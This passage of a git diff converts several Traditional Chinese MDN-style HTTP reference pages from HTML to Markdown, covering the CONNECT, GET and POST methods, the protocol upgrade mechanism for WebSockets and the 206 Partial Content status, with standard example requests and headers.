+若是還有其他有關預先取回的問題,請不要客氣直接發問 :-) + +#### 延伸閱讀 + +[Prefetching Hints](http://www.edochan.com/programming/pf.htm) diff --git a/files/zh-tw/web/http/methods/connect/index.html b/files/zh-tw/web/http/methods/connect/index.html deleted file mode 100644 index 547457217e562d..00000000000000 --- a/files/zh-tw/web/http/methods/connect/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: CONNECT -slug: Web/HTTP/Methods/CONNECT -translation_of: Web/HTTP/Methods/CONNECT ---- -
{{HTTPSidebar}}
- -

HTTP CONNECT 方法會利用請求資源啟動一個雙向通訊。這通常可用於建立隧道。

- -

舉例來說,CONNECT 方法可以用於存取使用 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 的網站。客戶端請求 HTTP Proxy 伺服器建立 TCP 連結的隧道到指定的位置。伺服器接著代表客戶端建立連結。一但連結建立,Proxy 伺服器會持續收送 TCP 流到客戶端。

- -

CONNECT 是個逐跳方法。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
請求具有 Body
成功回覆具有 Body
{{Glossary("Safe")}}
{{Glossary("Idempotent")}}
{{Glossary("Cacheable")}}
可用於 HTML 表單
- -

語法

- -
CONNECT www.example.com:443 HTTP/1.1
-
- -

範例

- -

有些 Proxy 伺服器也許需要授權以建立隧道。請見 {{HTTPHeader("Proxy-Authorization")}} 標頭。

- -
CONNECT server.example.com:80 HTTP/1.1
-Host: server.example.com:80
-Proxy-Authorization: basic aGVsbG86d29ybGQ=
- -

規格

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.methods.CONNECT")}}

- -

參見

- -
    -
  • {{Glossary("Proxy server")}}
  • -
  • {{HTTPHeader("Proxy-Authorization")}}
  • -
diff --git a/files/zh-tw/web/http/methods/connect/index.md b/files/zh-tw/web/http/methods/connect/index.md new file mode 100644 index 00000000000000..4b904a65146eeb --- /dev/null +++ b/files/zh-tw/web/http/methods/connect/index.md @@ -0,0 +1,49 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +translation_of: Web/HTTP/Methods/CONNECT +--- +{{HTTPSidebar}} + +**HTTP `CONNECT`** 方法會利用請求資源啟動一個雙向通訊。這通常可用於建立隧道。 + +舉例來說,`CONNECT` 方法可以用於存取使用 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 的網站。客戶端請求 HTTP Proxy 伺服器建立 TCP 連結的隧道到指定的位置。伺服器接著代表客戶端建立連結。一但連結建立,Proxy 伺服器會持續收送 TCP 流到客戶端。 + +`CONNECT` 是個逐跳方法。 + +| 請求具有 Body | 否 | +| ---------------------------------------------------- | --- | +| 成功回覆具有 Body | 是 | +| {{Glossary("Safe")}} | 否 | +| {{Glossary("Idempotent")}} | 否 | +| {{Glossary("Cacheable")}} | 否 | +| 可用於 [HTML 表單](/zh-TW/docs/Web/Guide/HTML/Forms) | 否 | + +## 語法 + +```plain +CONNECT www.example.com:443 HTTP/1.1 +``` + +## 範例 + +有些 Proxy 伺服器也許需要授權以建立隧道。請見 {{HTTPHeader("Proxy-Authorization")}} 標頭。 + +```plain +CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ= +``` + +## 規格 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.methods.CONNECT")}} + +## 參見 + +- {{Glossary("Proxy server")}} +- {{HTTPHeader("Proxy-Authorization")}} diff --git a/files/zh-tw/web/http/methods/get/index.html b/files/zh-tw/web/http/methods/get/index.html deleted file mode 100644 index 3d251660478804..00000000000000 --- a/files/zh-tw/web/http/methods/get/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: GET -slug: Web/HTTP/Methods/GET -translation_of: Web/HTTP/Methods/GET ---- -
{{HTTPSidebar}}
- -

HTTP GET method 方法請求展示指定資源。 使用 GET 的請求只應用於取得資料。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Request 有 bodyNo
成功的 response 有 bodyYes
{{Glossary("Safe")}}Yes
{{Glossary("Idempotent")}}Yes
{{Glossary("Cacheable")}}Yes
允許在 HTML 表單Yes
- -

格式

- -
GET /index.html
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.methods.GET")}}

- -

參見

- -
    -
  • {{HTTPHeader("Range")}}
  • -
diff --git a/files/zh-tw/web/http/methods/get/index.md b/files/zh-tw/web/http/methods/get/index.md new file mode 100644 index 00000000000000..b58033bfffc4a2 --- /dev/null +++ b/files/zh-tw/web/http/methods/get/index.md @@ -0,0 +1,34 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +translation_of: Web/HTTP/Methods/GET +--- +{{HTTPSidebar}} + +**HTTP `GET` method** 方法請求展示指定資源。 使用 `GET` 的請求只應用於取得資料。 + +| Request 有 body | No | +| ------------------------------------ | --- | +| 成功的 response 有 body | Yes | +| {{Glossary("Safe")}} | Yes | +| {{Glossary("Idempotent")}} | Yes | +| {{Glossary("Cacheable")}} | Yes | +| 允許在 HTML 表單 | Yes | + +## 格式 + +```plain +GET /index.html +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.methods.GET")}} + +## 參見 + +- {{HTTPHeader("Range")}} diff --git a/files/zh-tw/web/http/methods/post/index.html b/files/zh-tw/web/http/methods/post/index.html deleted file mode 100644 index 28aebb201c0a09..00000000000000 --- a/files/zh-tw/web/http/methods/post/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: POST -slug: Web/HTTP/Methods/POST -translation_of: Web/HTTP/Methods/POST ---- -
{{HTTPSidebar}}
- -

The HTTP POST method sends data to the server. The type of the body of the request is indicated by the {{HTTPHeader("Content-Type")}} header.

- -

The difference between PUT and {{HTTPMethod("POST")}} is that PUT is idempotent: calling it once or several times successively has the same effect (that is no side effect), where successive identical POST may have additional effects, like passing an order several times.

- -

A POST request is typically sent via an HTML form and results in a change on the server. In this case, the content type is selected by putting the adequate string in the {{htmlattrxref("enctype", "form")}} attribute of the {{HTMLElement("form")}} element or the {{htmlattrxref("formenctype", "input")}} attribute of the {{HTMLElement("input") }} or {{HTMLElement("button")}} elements:

- -
    -
  • application/x-www-form-urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value. Non-alphanumeric characters in both keys and values are {{glossary("percent-encoding", "percent encoded")}}: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead)
  • -
  • multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. The keys are given in the Content-Disposition header of each part.
  • -
  • text/plain
  • -
- -

When the POST request is sent via a method other than an HTML form — like via an {{domxref("XMLHttpRequest")}} — the body can take any type. As described in the HTTP 1.1 specification, POST is designed to allow a uniform method to cover the following functions:

- -
    -
  • Annotation of existing resources
  • -
  • Posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles;
  • -
  • Adding a new user through a signup modal;
  • -
  • Providing a block of data, such as the result of submitting a form, to a data-handling process;
  • -
  • Extending a database through an append operation.
  • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Request has bodyYes
Successful response has bodyYes
{{Glossary("Safe")}}No
{{Glossary("Idempotent")}}No
{{Glossary("Cacheable")}}Only if freshness information is included
Allowed in HTML formsYes
- -

格式

- -
POST /test
-
- -

範例

- -

使用 application/x-www-form-urlencoded 內容類型的簡易表單:

- -
POST /test HTTP/1.1
-Host: foo.example
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 27
-
-field1=value1&field2=value2
- -

使用 multipart/form-data 內容類型的表單:

- -
POST /test HTTP/1.1
-Host: foo.example
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
---boundary--
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.methods.POST")}}

- -

參見

- -
    -
  • {{HTTPHeader("Content-Type")}}
  • -
  • {{HTTPHeader("Content-Disposition")}}
  • -
diff --git a/files/zh-tw/web/http/methods/post/index.md b/files/zh-tw/web/http/methods/post/index.md new file mode 100644 index 00000000000000..eb1f6722c3c9b0 --- /dev/null +++ b/files/zh-tw/web/http/methods/post/index.md @@ -0,0 +1,82 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +translation_of: Web/HTTP/Methods/POST +--- +{{HTTPSidebar}} + +The **HTTP `POST` method** sends data to the server. The type of the body of the request is indicated by the {{HTTPHeader("Content-Type")}} header. + +The difference between `PUT` and {{HTTPMethod("POST")}} is that `PUT` is idempotent: calling it once or several times successively has the same effect (that is no _side_ effect), where successive identical `POST` may have additional effects, like passing an order several times. + +A `POST` request is typically sent via an [HTML form](/zh-TW/docs/Web/Guide/HTML/Forms) and results in a change on the server. In this case, the content type is selected by putting the adequate string in the {{htmlattrxref("enctype", "form")}} attribute of the {{HTMLElement("form")}} element or the {{htmlattrxref("formenctype", "input")}} attribute of the {{HTMLElement("input") }} or {{HTMLElement("button")}} elements: + +- `application/x-www-form-urlencoded`: the keys and values are encoded in key-value tuples separated by `'&'`, with a `'='` between the key and the value. Non-alphanumeric characters in both keys and values are {{glossary("percent-encoding", "percent encoded")}}: this is the reason why this type is not suitable to use with binary data (use `multipart/form-data` instead) +- `multipart/form-data`: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. The keys are given in the `Content-Disposition` header of each part. +- `text/plain` + +When the `POST` request is sent via a method other than an HTML form — like via an {{domxref("XMLHttpRequest")}} — the body can take any type. As described in the HTTP 1.1 specification, `POST` is designed to allow a uniform method to cover the following functions: + +- Annotation of existing resources +- Posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; +- Adding a new user through a signup modal; +- Providing a block of data, such as the result of submitting a form, to a data-handling process; +- Extending a database through an append operation. + +| Request has body | Yes | +| --------------------------------------------------------- | ----------------------------------------- | +| Successful response has body | Yes | +| {{Glossary("Safe")}} | No | +| {{Glossary("Idempotent")}} | No | +| {{Glossary("Cacheable")}} | Only if freshness information is included | +| Allowed in [HTML forms](/zh-TW/docs/Web/Guide/HTML/Forms) | Yes | + +## 格式 + +```plain +POST /test +``` + +## 範例 + +使用 `application/x-www-form-urlencoded` 內容類型的簡易表單: + +```plain +POST /test HTTP/1.1 +Host: foo.example +Content-Type: application/x-www-form-urlencoded +Content-Length: 27 + +field1=value1&field2=value2 +``` + +使用 `multipart/form-data` 內容類型的表單: + +```plain +POST /test HTTP/1.1 +Host: foo.example +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary-- +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.methods.POST")}} + +## 參見 + +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Content-Disposition")}} diff --git a/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html deleted file mode 100644 index ec704e64f031d9..00000000000000 --- a/files/zh-tw/web/http/protocol_upgrade_mechanism/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 協議升級機制 -slug: Web/HTTP/Protocol_upgrade_mechanism -translation_of: Web/HTTP/Protocol_upgrade_mechanism ---- -
-

{{HTTPSidebar}}

- -

HTTP/1.1 協議提供了一種特殊的機制,這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。

- -

通常來說這一機制總是由客戶端發起的 (不過也有例外,比如說可以由服務端發起升級到傳輸層安全協議(TLS)), 服務端可以選擇是否要升級到新協議。借助這一技術,連接可以以常用的協議啟動(如HTTP/1.1),隨後再升級到HTTP2甚至是WebSockets.

- -

注意:HTTP/2 明確禁止使用此機制,這個機制只屬於 HTTP/1.1

-
- -

升级 HTTP/1.1 連線

- -


- 協議升級請求總是由客戶端發起的;暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時,可以先發送一個普通的請求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不過這個請求需要進行特殊配置以包含升級請求。
- Upgrade 請求看起來就像:

- -
GET /index.html HTTP/1.1
-Host: www.example.com
-Connection: upgrade
-Upgrade: example/1, foo/2
-
- -


- 根據之前的請求的協議,可能需要其他頭部信息,例如:從HTTP/1.1升級到WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息,以及在連接時提供一定程度的安全性。查看 Upgrading to a WebSocket connection 獲取更多信息。

- -

如果服務器決定升級這次連接,就會返回一個 {{HTTPStatus(101, "101 Switching Protocols")}} 響應狀態碼,和一個要切換到的協議的頭部字段Upgrade。 如果服務器沒有(或者不能)升級這次連接,它會忽略客戶端發送的 "Upgrade 頭部字段,返回一個常規的響應:例如一個{{HTTPStatus(200, "200 OK")}}).

- -

服務在發送 101 狀態碼之後,就可以使用新的協議,並可以根據需要執行任何其他協議指定的握手。實際上,一旦這次升級完成了,連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。

- -

Common uses for this mechanism

- -

Here we look at the most common use cases for the {{HTTPHeader("Upgrade")}} header.

- -

Upgrading to a WebSocket connection

- -

By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the WebSocket API, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:

- -
webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
- -

The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.

- -
-

You can also use the "wss://" URL scheme to open a secure WebSocket connection.

-
- -

If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:

- -
Connection: Upgrade
-Upgrade: websocket
- -

WebSocket-specific headers

- -

The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.

- -

{{HTTPHeader("Sec-WebSocket-Extensions")}}

- -

Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one Sec-WebSocket-Extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.

- -
Sec-WebSocket-Extensions: extensions
- -
-
extensions
-
A comma-separated list of extensions to request (or agree to support). These should be selected from the IANA WebSocket Extension Name Registry. Extensions which take parameters do so by using semicolon delineation.
-
- -

For example:

- -
Sec-WebSocket-Extensions: superspeed, colormode; depth=16
- -

{{HTTPHeader("Sec-WebSocket-Key")}}

- -

Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."

- -

This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.

- -
Sec-WebSocket-Key: key
- -
-
key
-
The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.
-
- -

The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified key.

- -

{{HTTPHeader("Sec-WebSocket-Protocol")}}

- -

The Sec-WebSocket-Protocol header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.

- -
Sec-WebSocket-Protocol: subprotocols
- -
-
subprotocols
-
A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.
-
- -

{{HTTPHeader("Sec-WebSocket-Version")}}

- -
Request header
- -

Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.

- -
Sec-WebSocket-Version: version
- -
-
version
-
The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.
-
- -
Response header
- -

If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version header is included in the response.

- -
Sec-WebSocket-Version: supportedVersions
- -
-
supportedVersions
-
A comma-delineated list of the WebSocket protocol versions supported by the server.
-
- -

Response-only headers

- -

The response from the server may include these.

- -

{{HTTPHeader("Sec-WebSocket-Accept")}}

- -

Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.

- -
Sec-WebSocket-Accept: hash
- -
-
hash
-
If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the SHA-1 hash of that concatenated string, resulting in a 20-byte value. That value is then base64 encoded to obtain the value of this property.
-
- -

References

- -
    -
  • WebSocket API
  • -
  • HTTP
  • -
  • Specifications and RFCs: -
      -
    • {{RFC(7230)}}
    • -
    • {{RFC(6455)}}
    • -
    • {{RFC(7540)}}
    • -
    -
  • -
diff --git a/files/zh-tw/web/http/protocol_upgrade_mechanism/index.md b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.md new file mode 100644 index 00000000000000..7d64639baf97e9 --- /dev/null +++ b/files/zh-tw/web/http/protocol_upgrade_mechanism/index.md @@ -0,0 +1,149 @@ +--- +title: 協議升級機制 +slug: Web/HTTP/Protocol_upgrade_mechanism +translation_of: Web/HTTP/Protocol_upgrade_mechanism +--- +{{HTTPSidebar}} + +[HTTP/1.1 協議](/zh-TW/docs/Web/HTTP)提供了一種特殊的機制,這一機制允許將一個已建立的連接升級成新的、不相容的協議。這篇指南涵蓋了其運作原理和使用場景。 + +通常來說這一機制總是由客戶端發起的 (不過也有例外,比如說可以由服務端發起[升級到傳輸層安全協議(TLS)](#server-initiated_upgrade_to_tls)), 服務端可以選擇是否要升級到新協議。借助這一技術,連接可以以常用的協議啟動(如 HTTP/1.1),隨後再升級到 HTTP2 甚至是 WebSockets. + +注意:HTTP/2 明確禁止使用此機制,這個機制只屬於 HTTP/1.1 + +## 升级 HTTP/1.1 連線 + +協議升級請求總是由客戶端發起的;暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時,可以先發送一個普通的請求({{HTTPMethod("GET")}},{{HTTPMethod("POST")}}等),不過這個請求需要進行特殊配置以包含升級請求。 +Upgrade 請求看起來就像: + +```plain +GET /index.html HTTP/1.1 +Host: www.example.com +Connection: upgrade +Upgrade: example/1, foo/2 +``` + +根據之前的請求的協議,可能需要其他頭部信息,例如:從 HTTP/1.1 升級到 WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息,以及在連接時提供一定程度的安全性。查看 [Upgrading to a WebSocket connection](#upgrading_to_a_websocket_connection) 獲取更多信息。 + +如果服務器決定升級這次連接,就會返回一個 {{HTTPStatus(101, "101 Switching Protocols")}} 響應狀態碼,和一個要切換到的協議的頭部字段 Upgrade。 如果服務器沒有(或者不能)升級這次連接,它會忽略客戶端發送的 "Upgrade 頭部字段,返回一個常規的響應:例如一個{{HTTPStatus(200, "200 OK")}}). + +服務在發送 101 狀態碼之後,就可以使用新的協議,並可以根據需要執行任何其他協議指定的握手。實際上,一旦這次升級完成了,連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。 + +## Common uses for this mechanism + +Here we look at the most common use cases for the {{HTTPHeader("Upgrade")}} header. + +### Upgrading to a WebSocket connection + +By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the [WebSocket API](/zh-TW/docs/Web/API/WebSocket), or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as: + +```js +webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol"); +``` + +The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you. + +> **備註:** You can also use the `"wss://"` URL scheme to open a secure WebSocket connection. + +If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows: + +```plain +Connection: Upgrade +Upgrade: websocket +``` + +### WebSocket-specific headers + +The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other. + +#### {{HTTPHeader("Sec-WebSocket-Extensions")}} + +Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one `Sec-WebSocket-Extension` header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header. + +```plain +Sec-WebSocket-Extensions: extensions +``` + +- `extensions` + - : A comma-separated list of extensions to request (or agree to support). These should be selected from the [IANA WebSocket Extension Name Registry](https://www.iana.org/assignments/websocket/websocket.xml#extension-name). Extensions which take parameters do so by using semicolon delineation. + +For example: + +```plain +Sec-WebSocket-Extensions: superspeed, colormode; depth=16 +``` + +#### {{HTTPHeader("Sec-WebSocket-Key")}} + +Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this _does not provide security_. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection." + +This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method. + +```plain +Sec-WebSocket-Key: key +``` + +- `key` + - : The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you. + +The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified `key`. + +#### {{HTTPHeader("Sec-WebSocket-Protocol")}} + +The `Sec-WebSocket-Protocol` header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a `Sec-WebSocket-Protocol` header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header. + +```plain +Sec-WebSocket-Protocol: subprotocols +``` + +- `subprotocols` + - : A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the [IANA WebSocket Subprotocol Name Registry](https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name) or may be a custom name jointly understood by the client and the server. + +#### {{HTTPHeader("Sec-WebSocket-Version")}} + +##### Request header + +Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end. + +```plain +Sec-WebSocket-Version: version +``` + +- `version` + - : The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the [IANA WebSocket Version Number Registry](https://www.iana.org/assignments/websocket/websocket.xml#version-number). The most recent final version of the WebSocket protocol is version 13. + +##### Response header + +If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a `Sec-WebSocket-Version` header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no `Sec-WebSocket-Version` header is included in the response. + +```plain +Sec-WebSocket-Version: supportedVersions +``` + +- `supportedVersions` + - : A comma-delineated list of the WebSocket protocol versions supported by the server. + +### Response-only headers + +The response from the server may include these. + +#### {{HTTPHeader("Sec-WebSocket-Accept")}} + +Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers. + +```plain +Sec-WebSocket-Accept: hash +``` + +- `hash` + - : If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the [SHA-1](https://zh.wikipedia.org/wiki/SHA-1) hash of that concatenated string, resulting in a 20-byte value. That value is then [base64](/zh-TW/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) encoded to obtain the value of this property. + +## References + +- [WebSocket API](/zh-TW/docs/Web/API/WebSocket) +- [HTTP](/zh-TW/docs/Web/HTTP) +- Specifications and RFCs: + + - {{RFC(7230)}} + - {{RFC(6455)}} + - {{RFC(7540)}} diff --git a/files/zh-tw/web/http/status/206/index.html b/files/zh-tw/web/http/status/206/index.html deleted file mode 100644 index 1be2e1b1b5eac3..00000000000000 --- a/files/zh-tw/web/http/status/206/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 206 Partial Content -slug: Web/HTTP/Status/206 -translation_of: Web/HTTP/Status/206 ---- -
{{HTTPSidebar}}
- -

HTTP 206 Partial Content 成功狀態碼表明請求成功,且主體包含在請求標頭{{HTTPHeader("Range")}} 中所指定的資料區間。

- -

若只包含一個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 將會被設為該文件的類型 ,且會包含一個 {{HTTPHeader("Content-Range")}} 標頭。

- -

若有多個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 會被設為 multipart/byteranges ,且每個分段會對應一個區間,並有 {{HTTPHeader("Content-Range")}} 及 {{HTTPHeader("Content-Type")}} 描述各個區間。

- -

狀態

- -
206 Partial Content
- -

範例

- -

一個包含單一區間的回應:

- -
HTTP/1.1 206 Partial Content
-Date: Wed, 15 Nov 2015 06:25:24 GMT
-Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
-Content-Range: bytes 21010-47021/47022
-Content-Length: 26012
-Content-Type: image/gif
-
-... 26012 bytes of partial image data ...
- -

一個包含多個區間的回應:

- -
HTTP/1.1 206 Partial Content
-Date: Wed, 15 Nov 2015 06:25:24 GMT
-Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
-Content-Length: 1741
-Content-Type: multipart/byteranges; boundary=String_separator
-
---String_separator
-Content-Type: application/pdf
-Content-Range: bytes 234-639/8000
-
-...the first range...
---String_separator
-Content-Type: application/pdf
-Content-Range: bytes 4590-7999/8000
-
-...the second range
---String_separator--
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.status.206")}}

- -

參見

- -
    -
  • {{HTTPHeader("If-Range")}}
  • -
  • {{HTTPHeader("Range")}}
  • -
  • {{HTTPHeader("Content-Range")}}
  • -
  • {{HTTPHeader("Content-Type")}}
  • -
diff --git a/files/zh-tw/web/http/status/206/index.md b/files/zh-tw/web/http/status/206/index.md new file mode 100644 index 00000000000000..31712099c65000 --- /dev/null +++ b/files/zh-tw/web/http/status/206/index.md @@ -0,0 +1,70 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +translation_of: Web/HTTP/Status/206 +--- +{{HTTPSidebar}} + +HTTP **`206 Partial Content`** 成功狀態碼表明請求成功,且主體包含在請求標頭{{HTTPHeader("Range")}} 中所指定的資料區間。 + +若只包含一個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 將會被設為該文件的類型 ,且會包含一個 {{HTTPHeader("Content-Range")}} 標頭。 + +若有多個區間,則整個回應的 {{HTTPHeader("Content-Type")}} 會被設為 `multipart/byteranges` ,且每個分段會對應一個區間,並有 {{HTTPHeader("Content-Range")}} 及 {{HTTPHeader("Content-Type")}} 描述各個區間。 + +## 狀態 + +```plain +206 Partial Content +``` + +## 範例 + +一個包含單一區間的回應: + +```plain +HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes of partial image data ... +``` + +一個包含多個區間的回應: + +```plain +HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...the first range... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...the second range +--String_separator-- +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.status.206")}} + +## 參見 + +- {{HTTPHeader("If-Range")}} +- {{HTTPHeader("Range")}} +- {{HTTPHeader("Content-Range")}} +- {{HTTPHeader("Content-Type")}} diff --git a/files/zh-tw/web/http/status/404/index.html b/files/zh-tw/web/http/status/404/index.html deleted file mode 100644 index eb817a2a430bd5..00000000000000 --- a/files/zh-tw/web/http/status/404/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: 404 Not Found -slug: Web/HTTP/Status/404 -translation_of: Web/HTTP/Status/404 ---- -
{{HTTPSidebar}}
- -

HTTP 404 Not Found 用戶端錯誤回應碼,表明了伺服器找不到請求的資源。引發 404 頁面的連結,通常被稱作斷連或死連(broken or dead link)、並可以導到失效連結(link rot)頁面。

- -

404 狀態碼並沒有表明資源是暫時不見、還是永遠不見。如果資源是永遠不見,就應該用 {{HTTPStatus(410)}}(Gone) 而不是 404。

- -

狀態

- -
404 Not Found
- -

自訂錯誤頁面

- -

